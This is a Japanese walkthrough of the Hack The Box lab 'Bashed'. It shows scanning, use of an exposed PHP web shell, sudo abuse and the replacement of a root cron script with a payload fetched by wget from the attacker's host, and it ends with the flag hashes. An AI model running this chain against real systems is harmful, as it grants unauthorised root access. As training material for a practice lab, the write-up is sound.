【Hack The Box】Bashed Walkthrough
はじめに
ポートスキャン
# nmap -A 10.10.10.68
80(http)ポートが開いている。
ブラウザで80番ポートへアクセス
ブラウザで80番ポートへアクセス。ソースコードなどを確認したが、とくにヒントは得られない。
ディレクトリスキャン
ディレクトリスキャンを実行。dirbが遅いので、gobusterを使った。
# gobuster dir -u http://10.10.10.68 -w /usr/share/dirb/wordlists/common.txt
/dev/にアクセスしてみると、ディレクトリリスティングが有効であり、配下にあるphpbash.phpにアクセスしてみると任意のコマンドが実行できるWebShellであった。
あとは、以下の流れでuser.txtを取得。
cd /home ls cd arrexel cat user.txt
scriptmanagerユーザの調査
上記画像より、/home配下にはarrexelとscriptsmanagerユーザのディレクトリの存在が確認できる。
ほとんどのディレクトリはrootが所有者だが、scriptsディレクトリだけはscriptmanagerが所有者であった。ここに何かヒントがあると予想した。
sudoコマンドが実行できるかを確認。
現在のユーザ(www-data)は、パスワードなしでscriptmanagerの権限で全てのコマンドが実行できることが分かった。
sudo -l
scriptmanagerの権限で/scripts配下を確認すると、test.pyとtest.txtの存在が確認できた。test.pyの所有者はscriptmanagerで、test.txtの所有者はrootであった。
数分後に同じコマンドを実行すると、test.txtのタイムスタンプが変わることも確認。
sudo -u scriptmanager ls -l /scripts
test.pyの置き換え
/scripts配下にあるtest.pyの中身を確認する。
sudo -u scriptmanager cat /scripts/test.py
test.txtに「testing 123!」という文字列を書き込むスクリプトだった。test.txtのタイムスタンプが変わっていたのは、test.pyがcronなどで定期的に実行されうよう設定されていたためだと思われる。
また、test.txtの所有者がrootであることから、test.pyはroot権限で実行されていると考えられる。
そこで、test.pyを、root.txtを表示(出力)するスクリプトに置き換える。
攻撃者側環境で、pythonスクリプトを用意し、Webサーバを起動した。
※pythonでOSコマンドを実行するために、os.system()を使用。
import os os.system("cat /root/root.txt > /tmp/root.txt")
python -m SimpleHTTPServer 80
WebShell上から、攻撃者端末上に作成したtest.pyをダウンロードし、/scriptsフォルダに上書きする(scriptmanagerの権限で)。
cd /tmp wget http://10.10.14.21/test.py sudo -u scriptmanager cp test.py /scripts
test.pyが上書きできたことを確認し、出力先のroot.txtを確認して終了。
sudo -u scriptmanager cat /scripts/test.py cat /tmp/root.txt
user.txt:2c281f318555dbc1b856957c7147bfc1
root.txt:cc4f0afe3a1026d402ba10329674a8e2